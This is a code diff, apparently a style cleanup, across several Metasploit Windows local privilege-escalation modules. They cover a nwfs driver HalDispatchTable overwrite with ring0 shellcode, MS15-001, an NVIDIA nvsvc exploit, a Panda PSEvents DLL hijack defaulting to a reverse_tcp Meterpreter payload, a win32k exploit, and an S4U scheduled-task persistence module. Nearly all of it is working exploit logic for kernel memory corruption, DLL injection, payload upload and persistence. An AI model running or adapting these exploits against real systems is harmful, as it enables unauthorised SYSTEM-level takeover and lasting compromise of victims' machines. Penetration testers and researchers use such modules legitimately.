handle = open_device('\\\\.\\nwfs')
|
||||
if handle.nil?
|
||||
fail_with(Failure::NoTarget, "\\\\.\\nwfs device not found")
|
||||
fail_with(Failure::NoTarget, '\\\\.\\nwfs device not found')
|
||||
else
|
||||
print_good("\\\\.\\nwfs found!")
|
||||
print_good('\\\\.\\nwfs found!')
|
||||
end
|
||||
|
||||
print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
|
||||
print_status('Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...')
|
||||
@addresses = disclose_addresses(my_target)
|
||||
if @addresses.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Failed to disclose necessary addresses for exploitation. Aborting.")
|
||||
fail_with(Failure::Unknown, 'Failed to disclose necessary addresses for exploitation. Aborting.')
|
||||
else
|
||||
print_good("Addresses successfully disclosed.")
|
||||
print_good('Addresses successfully disclosed.')
|
||||
end
|
||||
|
||||
print_status("Storing the kernel stager on memory...")
|
||||
print_status('Storing the kernel stager on memory...')
|
||||
this_proc = session.sys.process.open
|
||||
kernel_shell = ring0_shellcode(my_target)
|
||||
kernel_shell_address = 0x1000
|
||||
result = fill_memory(this_proc, kernel_shell_address, 0x1000, kernel_shell)
|
||||
if result.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
|
||||
fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')
|
||||
else
|
||||
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
|
||||
end
|
||||
|
||||
print_status("Storing the trampoline to the kernel stager on memory...")
|
||||
print_status('Storing the trampoline to the kernel stager on memory...')
|
||||
trampoline = "\x90" * 0x20 # nops
|
||||
trampoline << "\x68" # push opcode
|
||||
trampoline << [0x1000].pack("V") # address to push
|
||||
trampoline << [0x1000].pack('V') # address to push
|
||||
trampoline << "\xc3" # ret
|
||||
trampoline_addr = 0x3
|
||||
result = fill_memory(this_proc, trampoline_addr, 0x1000, trampoline)
|
||||
if result.nil?
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
fail_with(Failure::Unknown, "Error while storing trampoline on memory")
|
||||
fail_with(Failure::Unknown, 'Error while storing trampoline on memory')
|
||||
else
|
||||
print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
|
||||
end
|
||||
|
||||
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
|
||||
print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')
|
||||
magic_ioctl = 0x1438BB
|
||||
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, @addresses["halDispatchTable"] + 0x4, 0x10, 0, 0)
|
||||
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, @addresses['halDispatchTable'] + 0x4, 0x10, 0, 0)
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
||||
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
|
||||
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
||||
print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')
|
||||
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
||||
|
||||
print_status("Checking privileges after exploitation...")
|
||||
print_status('Checking privileges after exploitation...')
|
||||
|
||||
if not is_system?
|
||||
if !is_system?
|
||||
fail_with(Failure::Unknown, "The exploitation wasn't successful")
|
||||
else
|
||||
print_good("Exploitation successful!")
|
||||
print_good('Exploitation successful!')
|
||||
end
|
||||
|
||||
p = payload.encoded
|
||||
print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
|
||||
print_status("Injecting #{p.length} bytes to memory and executing it...")
|
||||
if execute_shellcode(p)
|
||||
print_good("Enjoy")
|
||||
print_good('Enjoy')
|
||||
else
|
||||
fail_with(Failure::Unknown, "Error while executing the payload")
|
||||
fail_with(Failure::Unknown, 'Error while executing the payload')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -3,7 +3,6 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = NormalRanking
|
||||
|
||||
|
@ -13,64 +12,64 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
include Msf::Post::Windows::Process
|
||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'MS15-001 Microsoft Windows NtApphelpCacheControl Improper Authorization Check',
|
||||
'Description' => %q{
|
||||
On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)
|
||||
allows application compatibility data to be cached for quick reuse when new processes are
|
||||
created. A normal user can query the cache but cannot add new cached entries as the
|
||||
operation is restricted to administrators. This is checked in the function
|
||||
AhcVerifyAdminContext.
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
{
|
||||
'Name' => 'MS15-001 Microsoft Windows NtApphelpCacheControl Improper Authorization Check',
|
||||
'Description' => %q{
|
||||
On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)
|
||||
allows application compatibility data to be cached for quick reuse when new processes are
|
||||
created. A normal user can query the cache but cannot add new cached entries as the
|
||||
operation is restricted to administrators. This is checked in the function
|
||||
AhcVerifyAdminContext.
|
||||
|
||||
This function has a vulnerability where it doesn't correctly check the impersonation token
|
||||
of the caller to determine if the user is an administrator. It reads the caller's
|
||||
impersonation token using PsReferenceImpersonationToken and then does a comparison between
|
||||
the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level
|
||||
of the token so it's possible to get an identify token on your thread from a local system
|
||||
process and bypass this check.
|
||||
This function has a vulnerability where it doesn't correctly check the impersonation token
|
||||
of the caller to determine if the user is an administrator. It reads the caller's
|
||||
impersonation token using PsReferenceImpersonationToken and then does a comparison between
|
||||
the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level
|
||||
of the token so it's possible to get an identify token on your thread from a local system
|
||||
process and bypass this check.
|
||||
|
||||
This module currently only affects Windows 8 and Windows 8.1, and requires access to
|
||||
C:\Windows\System\ComputerDefaults.exe (although this can be improved).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
This module currently only affects Windows 8 and Windows 8.1, and requires access to
|
||||
C:\Windows\System\ComputerDefaults.exe (although this can be improved).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [],
|
||||
'SideEffects' => [],
|
||||
'Reliability' => []
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'James Forshaw',
|
||||
'sinn3r'
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 4096,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'MSB', 'MS15-001' ],
|
||||
[ 'CVE', '2015-0002' ],
|
||||
'Author' => [
|
||||
'James Forshaw',
|
||||
'sinn3r'
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' => [
|
||||
[ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'Payload' => {
|
||||
'Space' => 4096,
|
||||
'DisableNops' => true
|
||||
},
|
||||
'References' => [
|
||||
[ 'MSB', 'MS15-001' ],
|
||||
[ 'CVE', '2015-0002' ],
|
||||
[ 'OSVDB', '116497' ],
|
||||
[ 'EDB', '35661' ],
|
||||
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118']
|
||||
],
|
||||
'DisclosureDate' => '2014-09-30'
|
||||
}))
|
||||
[ 'EDB', '35661' ],
|
||||
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118']
|
||||
],
|
||||
'DisclosureDate' => '2014-09-30'
|
||||
}
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def temp
|
||||
|
@ -82,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def upload_payload_dll(payload_filepath)
|
||||
payload = generate_payload_dll({:dll_exitprocess => true})
|
||||
payload = generate_payload_dll({ dll_exitprocess: true })
|
||||
begin
|
||||
write_file(payload_filepath, payload)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
|
@ -96,12 +95,13 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
# Upload the payload
|
||||
upload_payload_dll(payload_filepath)
|
||||
if !file?(payload_filepath)
|
||||
fail_with(Failure::Unknown, "Failed to save the payload DLL, or got removed. No idea why.")
|
||||
fail_with(Failure::Unknown, 'Failed to save the payload DLL, or got removed. No idea why.')
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
if sysinfo['OS'] =~ /Windows 8/
|
||||
version = get_version_info
|
||||
if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win81)
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
|
@ -110,21 +110,21 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
def exploit
|
||||
if session.arch != ARCH_X86
|
||||
print_error("Sorry, this module currently only allows x86/win32 sessions.")
|
||||
print_error("You will have to get a x86/win32 session first, and then you can")
|
||||
print_error('Sorry, this module currently only allows x86/win32 sessions.')
|
||||
print_error('You will have to get a x86/win32 session first, and then you can')
|
||||
print_error("select a x64 payload as this exploit's payload.")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Uploading the payload DLL")
|
||||
print_status('Uploading the payload DLL')
|
||||
upload_payload
|
||||
|
||||
print_status("Injecting the exploit DLL and instructing to run the payload DLL upon successful exploitation...")
|
||||
print_status('Injecting the exploit DLL and instructing to run the payload DLL upon successful exploitation...')
|
||||
lib_file_path = ::File.join(
|
||||
Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", 'exploit.dll'
|
||||
Msf::Config.data_directory, 'exploits', 'ntapphelpcachecontrol', 'exploit.dll'
|
||||
)
|
||||
execute_dll(lib_file_path, payload_filepath)
|
||||
|
||||
print_status("You should now have an elevated session, enjoy!")
|
||||
print_status('You should now have an elevated session, enjoy!')
|
||||
end
|
||||
end
|
||||
|
|
|
@ -62,17 +62,16 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
sysinfo_value = sysinfo['OS']
|
||||
|
||||
if sysinfo_value !~ /windows/i
|
||||
if session.platform != 'windows'
|
||||
# Non-Windows systems are definitely not affected.
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
|
||||
vprint_status("Windows Build Number = #{build_num}")
|
||||
version = get_version_info
|
||||
|
||||
vprint_status("OS version: #{version}")
|
||||
# see https://docs.microsoft.com/en-us/windows/release-information/
|
||||
unless sysinfo_value =~ /7/ && (build_num >= 7600 && build_num <= 7601)
|
||||
unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && version.workstation?
|
||||
print_error('The exploit only supports Windows 7 versions 7600 and 7601')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
|
|
@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'Platform' => 'win',
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'DefaultOptions' => {
|
||||
'EXITFUNC' => 'thread',
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' => [
|
||||
[ 'Windows x64', {} ]
|
||||
|
@ -72,28 +72,25 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'3341d2c91989bc87c3c0baa97c27253b'
|
||||
]
|
||||
|
||||
os = sysinfo["OS"]
|
||||
if os =~ /windows/i
|
||||
if session.platform == 'windows'
|
||||
svc = service_info 'nvsvc'
|
||||
if svc and svc[:display] =~ /NVIDIA/i
|
||||
if svc && svc[:display] =~ (/NVIDIA/i)
|
||||
vprint_good("Found service '#{svc[:display]}'")
|
||||
|
||||
begin
|
||||
if is_running?
|
||||
vprint_good("Service is running")
|
||||
vprint_good('Service is running')
|
||||
else
|
||||
vprint_error("Service is not running!")
|
||||
vprint_error('Service is not running!')
|
||||
end
|
||||
rescue RuntimeError => e
|
||||
vprint_error("Unable to retrieve service status")
|
||||
rescue RuntimeError
|
||||
vprint_error('Unable to retrieve service status')
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
path = svc[:path].gsub('"', '').strip
|
||||
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
|
||||
path = svc[:path].gsub('"', '').strip
|
||||
path.gsub!("system32", "sysnative")
|
||||
else
|
||||
path = svc[:path].gsub('"', '').strip
|
||||
path.gsub!('system32', 'sysnative')
|
||||
end
|
||||
|
||||
begin
|
||||
|
@ -117,13 +114,11 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def is_running?
|
||||
begin
|
||||
status = service_status('nvsvc')
|
||||
return (status and status[:state] == 4)
|
||||
rescue RuntimeError => e
|
||||
print_error("Unable to retrieve service status")
|
||||
return false
|
||||
end
|
||||
status = service_status('nvsvc')
|
||||
return (status and status[:state] == 4)
|
||||
rescue RuntimeError
|
||||
print_error('Unable to retrieve service status')
|
||||
return false
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
@ -132,22 +127,22 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
unless check == Exploit::CheckCode::Vulnerable
|
||||
fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
|
||||
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
|
||||
end
|
||||
|
||||
print_status("Launching a process to host the exploit and reflectively injecting and executing the exploit DLL...")
|
||||
print_status('Launching a process to host the exploit and reflectively injecting and executing the exploit DLL...')
|
||||
|
||||
# invoke the exploit, passing in the address of the payload that
|
||||
# we want invoked on successful exploitation.
|
||||
library_path = ::File.join(Msf::Config.data_directory,
|
||||
"exploits",
|
||||
"CVE-2013-0109",
|
||||
"nvidia_nvsvc.x86.dll")
|
||||
'exploits',
|
||||
'CVE-2013-0109',
|
||||
'nvidia_nvsvc.x86.dll')
|
||||
encoded_payload = payload.encoded
|
||||
# Forceably run the a 32-bit process because our payload is 32-bit even though
|
||||
# we're running on x64.
|
||||
execute_dll(library_path, encoded_payload)
|
||||
|
||||
print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.")
|
||||
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
|
||||
end
|
||||
end
|
||||
|
|
|
@ -3,97 +3,102 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Exploit::EXE
|
||||
include Exploit::FileDropper
|
||||
include Post::File
|
||||
include Msf::Post::Windows::Version
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Panda Security PSEvents Privilege Escalation',
|
||||
'Description' => %q{
|
||||
PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.
|
||||
When run, it checks a user writable folder for certain DLL files, and if any are found
|
||||
they are automatically run.
|
||||
Vulnerable Products:
|
||||
Panda Global Protection 2016 (<=16.1.2)
|
||||
Panda Antivirus Pro 2016 (<=16.1.2)
|
||||
Panda Small Business Protection (<=16.1.2)
|
||||
Panda Internet Security 2016 (<=16.1.2)
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
"h00die <mike@shorebreaksecurity.com>", # Module,
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Panda Security PSEvents Privilege Escalation',
|
||||
'Description' => %q{
|
||||
PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges.
|
||||
When run, it checks a user writable folder for certain DLL files, and if any are found
|
||||
they are automatically run.
|
||||
Vulnerable Products:
|
||||
Panda Global Protection 2016 (<=16.1.2)
|
||||
Panda Antivirus Pro 2016 (<=16.1.2)
|
||||
Panda Small Business Protection (<=16.1.2)
|
||||
Panda Internet Security 2016 (<=16.1.2)
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'h00die <mike@shorebreaksecurity.com>', # Module,
|
||||
'Security-Assessment.com' # discovery
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' => [
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' => [
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'payload' => 'windows/meterpreter/reverse_tcp',
|
||||
'exitfunc' => 'seh'
|
||||
},
|
||||
'References' => [
|
||||
[
|
||||
'EDB', '40020',
|
||||
'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf',
|
||||
'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053'
|
||||
]
|
||||
],
|
||||
'DisclosureDate'=> '2016-06-27'
|
||||
))
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'payload' => 'windows/meterpreter/reverse_tcp',
|
||||
'exitfunc' => 'seh'
|
||||
},
|
||||
'References' => [
|
||||
[
|
||||
'EDB', '40020',
|
||||
'URL', 'http://www.security-assessment.com/files/documents/advisory/Panda%20Security%20-%20Privilege%20Escalation.pdf',
|
||||
'URL', 'http://www.pandasecurity.com/uk/support/card?id=100053'
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => '2016-06-27'
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptEnum.new('DLL', [ true, 'dll to create', 'cryptnet.dll',
|
||||
['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll']]),
|
||||
OptEnum.new('DLL', [
|
||||
true, 'dll to create', 'cryptnet.dll',
|
||||
['cryptnet.dll', 'bcryptPrimitives.dll', 'CRYPTBASE.dll']
|
||||
]),
|
||||
OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 3610]),
|
||||
])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def get_path()
|
||||
case sysinfo['OS']
|
||||
when /Windows (NT|XP)/
|
||||
def get_path
|
||||
version = get_version_info
|
||||
if version.build_number < Msf::WindowsVersion::Vista_SP0
|
||||
return '%AllUsersProfile%\\Application Data\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
|
||||
else #/Windows (7|8|10|2012|2008)/ we assume a modern operating system
|
||||
else # AllUsers directory changed as of Vista
|
||||
return '%ProgramData%\\Panda Security\\Panda Devices Agent\\Downloads\\1a2d7253f106c617b45f675e9be08171'
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
if directory?(get_path())
|
||||
if directory?(get_path)
|
||||
print_good('Vuln path exists')
|
||||
CheckCode::Appears
|
||||
else
|
||||
vprint_error("#{get_path()} doesn't exist on target")
|
||||
vprint_error("#{get_path} doesn't exist on target")
|
||||
CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
vprint_status("OS Detected as: #{sysinfo['OS']}")
|
||||
version = get_version_info
|
||||
vprint_status("OS Detected as: #{version.product_name}")
|
||||
|
||||
payload_filepath = get_path()
|
||||
payload_filepath = get_path
|
||||
payload_filepath = "#{payload_filepath}\\#{datastore['DLL']}"
|
||||
upload_payload_dll(payload_filepath)
|
||||
|
||||
# start the hour wait
|
||||
stime = Time.now.to_f
|
||||
print_status 'Starting the payload handler, waiting for PSEvents.exe to process folder (up to an hour)...'
|
||||
print_status "Start Time: #{Time.now.to_s}"
|
||||
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
|
||||
Rex.sleep(1)
|
||||
end
|
||||
print_status "Start Time: #{Time.now}"
|
||||
Rex.sleep(1) until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
|
||||
end
|
||||
|
||||
def upload_payload_dll(payload_filepath)
|
||||
payload = generate_payload_dll()
|
||||
payload = generate_payload_dll
|
||||
print_status('Uploading the Payload DLL to the filesystem...')
|
||||
begin
|
||||
vprint_status("Payload DLL #{payload.length} bytes long being uploaded..")
|
||||
|
|
|
@ -70,9 +70,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
os = sysinfo["OS"]
|
||||
if os =~ /windows/i
|
||||
file_path = session.sys.config.getenv('windir') << "\\system32\\win32k.sys"
|
||||
if session.platform == 'windows'
|
||||
file_path = session.sys.config.getenv('windir') << '\\system32\\win32k.sys'
|
||||
major, minor, build, revision, branch = file_version(file_path)
|
||||
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision}")
|
||||
|
||||
|
@ -93,22 +92,22 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
when 6002
|
||||
if branch == 18
|
||||
return Exploit::CheckCode::Appears if revision < 18861
|
||||
else
|
||||
return Exploit::CheckCode::Appears if revision < 23132
|
||||
elsif revision < 23132
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
when 7600
|
||||
return Exploit::CheckCode::Appears
|
||||
when 7601
|
||||
if branch == 18
|
||||
return Exploit::CheckCode::Appears if revision < 18176
|
||||
else
|
||||
return Exploit::CheckCode::Appears if revision < 22348
|
||||
elsif revision < 22348
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
when 9200
|
||||
if branch == 16
|
||||
return Exploit::CheckCode::Appears if revision < 16627
|
||||
else
|
||||
return Exploit::CheckCode::Appears if revision < 20732
|
||||
elsif revision < 20732
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -122,11 +121,11 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
if check == Exploit::CheckCode::Safe
|
||||
fail_with(Failure::NotVulnerable, "Exploit not available on this system.")
|
||||
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
|
||||
end
|
||||
|
||||
if sysinfo["Architecture"] == ARCH_X64
|
||||
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
|
||||
if sysinfo['Architecture'] == ARCH_X64
|
||||
fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported')
|
||||
end
|
||||
|
||||
# invoke the exploit, passing in the address of the payload that
|
||||
|
@ -134,7 +133,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
print_status('Reflectively injecting the DLL into a new process and triggering the LPE...')
|
||||
encoded_payload = payload.encoded
|
||||
execute_dll(
|
||||
::File.join(Msf::Config.data_directory, "exploits", "cve-2013-3660", "ppr_flatten_rec.x86.dll"),
|
||||
::File.join(Msf::Config.data_directory, 'exploits', 'cve-2013-3660', 'ppr_flatten_rec.x86.dll'),
|
||||
encoded_payload
|
||||
)
|
||||
print_status("Exploit thread executing (can take a while to run), waiting #{datastore['WfsDelay']} sec ...")
|
||||
|
|
|
@ -69,15 +69,14 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def exploit
|
||||
if not (sysinfo['OS'] =~ /Windows (Vista|7|8|2008|2012|2016|2019|2022|10)/ )
|
||||
fail_with(Failure::NoTarget, "This module only works on Vista/2008 and above")
|
||||
version = get_version_info
|
||||
unless version.build_number >= Msf::WindowsVersion::Vista_SP0
|
||||
fail_with(Failure::NoTarget, 'This module only works on Vista/2008 and above')
|
||||
end
|
||||
|
||||
if datastore['TRIGGER'] == "event"
|
||||
if datastore['EVENT_LOG'].nil? or datastore['EVENT_ID'].nil?
|
||||
print_status("The properties of any event in the event viewer will contain this information")
|
||||
fail_with(Failure::BadConfig, "Advanced options EVENT_LOG and EVENT_ID required for event")
|
||||
end
|
||||
if datastore['TRIGGER'] == 'event' && (datastore['EVENT_LOG'].nil? || datastore['EVENT_ID'].nil?)
|
||||
print_status('The properties of any event in the event viewer will contain this information')
|
||||
fail_with(Failure::BadConfig, 'Advanced options EVENT_LOG and EVENT_ID required for event')
|
||||
end
|
||||
|
||||
# Generate payload
|
||||
|
@ -102,7 +101,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
write_xml(xml, xml_path, rexe_path)
|
||||
|
||||
# Name task with Opt or give random name
|
||||
schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
|
||||
schname = datastore['RTASKNAME'] || Rex::Text.rand_text_alpha(rand(6..13))
|
||||
|
||||
# Create task with modified XML
|
||||
create_task(xml_path, schname, rexe_path)
|
||||
|
@ -112,8 +111,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
# Generate name for payload
|
||||
# Returns name
|
||||
def generate_rexename
|
||||
rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + ".exe"
|
||||
if not rexename =~ /\.exe$/
|
||||
rexename = datastore['REXENAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.exe'
|
||||
if rexename !~ /\.exe$/
|
||||
print_warning("#{datastore['REXENAME']} isn't an exe")
|
||||
end
|
||||
return rexename
|
||||
|
@ -125,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
def generate_path(rexename)
|
||||
# Generate a path to write payload and XML
|
||||
path = datastore['PATH'] || session.sys.config.getenv('TEMP')
|
||||
xml_path = "#{path}\\#{Rex::Text.rand_text_alpha((rand(8) + 6))}.xml"
|
||||
xml_path = "#{path}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.xml"
|
||||
rexe_path = "#{path}\\#{rexename}"
|
||||
return xml_path, rexe_path
|
||||
end
|
||||
|
@ -142,7 +141,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
begin
|
||||
write_file(path, payload)
|
||||
rescue => e
|
||||
rescue StandardError
|
||||
fail_with(Failure::Unknown, "Could not upload to #{path}")
|
||||
end
|
||||
|
||||
|
@ -153,22 +152,22 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
# Creates a scheduled task, exports as XML, deletes task
|
||||
# Returns normal XML for generic task
|
||||
def create_xml(rexe_path)
|
||||
xml_path = File.join(Msf::Config.data_directory, "exploits", "s4u_persistence.xml")
|
||||
xml_file = File.new(xml_path, "r")
|
||||
xml_path = File.join(Msf::Config.data_directory, 'exploits', 's4u_persistence.xml')
|
||||
xml_file = File.new(xml_path, 'r')
|
||||
xml = xml_file.read
|
||||
xml_file.close
|
||||
|
||||
# Get local time, not system time from victim machine
|
||||
begin
|
||||
vt = client.railgun.kernel32.GetLocalTime(32)
|
||||
ut = vt['lpSystemTime'].unpack("v*")
|
||||
ut = vt['lpSystemTime'].unpack('v*')
|
||||
t = ::Time.utc(ut[0], ut[1], ut[3], ut[4], ut[5])
|
||||
rescue
|
||||
print_warning("Could not read system time from victim... Using your local time to determine creation date")
|
||||
rescue StandardError
|
||||
print_warning('Could not read system time from victim... Using your local time to determine creation date')
|
||||
t = ::Time.now
|
||||
end
|
||||
date = t.strftime("%Y-%m-%d")
|
||||
time = t.strftime("%H:%M:%S")
|
||||
date = t.strftime('%Y-%m-%d')
|
||||
time = t.strftime('%H:%M:%S')
|
||||
|
||||
# Put in correct times
|
||||
xml = xml.gsub(/DATEHERE/, "#{date}T#{time}")
|
||||
|
@ -192,19 +191,19 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
case datastore['TRIGGER']
|
||||
when 'logon'
|
||||
# Trigger based on winlogon event, checks windows license key after logon
|
||||
print_status("This trigger triggers on event 4101 which validates the Windows license")
|
||||
print_status('This trigger triggers on event 4101 which validates the Windows license')
|
||||
line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]"
|
||||
xml = create_trigger_event_tags("Application", line, xml)
|
||||
xml = create_trigger_event_tags('Application', line, xml)
|
||||
|
||||
when 'lock'
|
||||
xml = create_trigger_tags("SessionLock", xml)
|
||||
xml = create_trigger_tags('SessionLock', xml)
|
||||
|
||||
when 'unlock'
|
||||
xml = create_trigger_tags("SessionUnlock", xml)
|
||||
xml = create_trigger_tags('SessionUnlock', xml)
|
||||
|
||||
when 'event'
|
||||
line = "*[System[(EventID=#{datastore['EVENT_ID']})]]"
|
||||
if not datastore['XPATH'].nil? and not datastore['XPATH'].empty?
|
||||
if !datastore['XPATH'].nil? && !datastore['XPATH'].empty?
|
||||
# Append xpath queries
|
||||
line << " and #{datastore['XPATH']}"
|
||||
# Print XPath query, useful to user to spot issues with uncommented single quotes
|
||||
|
@ -218,7 +217,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
unless datastore['FREQUENCY'].nil? || datastore['FREQUENCY'] == 0
|
||||
minutes = datastore['FREQUENCY']
|
||||
else
|
||||
print_status("Defaulting frequency to every hour")
|
||||
print_status('Defaulting frequency to every hour')
|
||||
minutes = 60
|
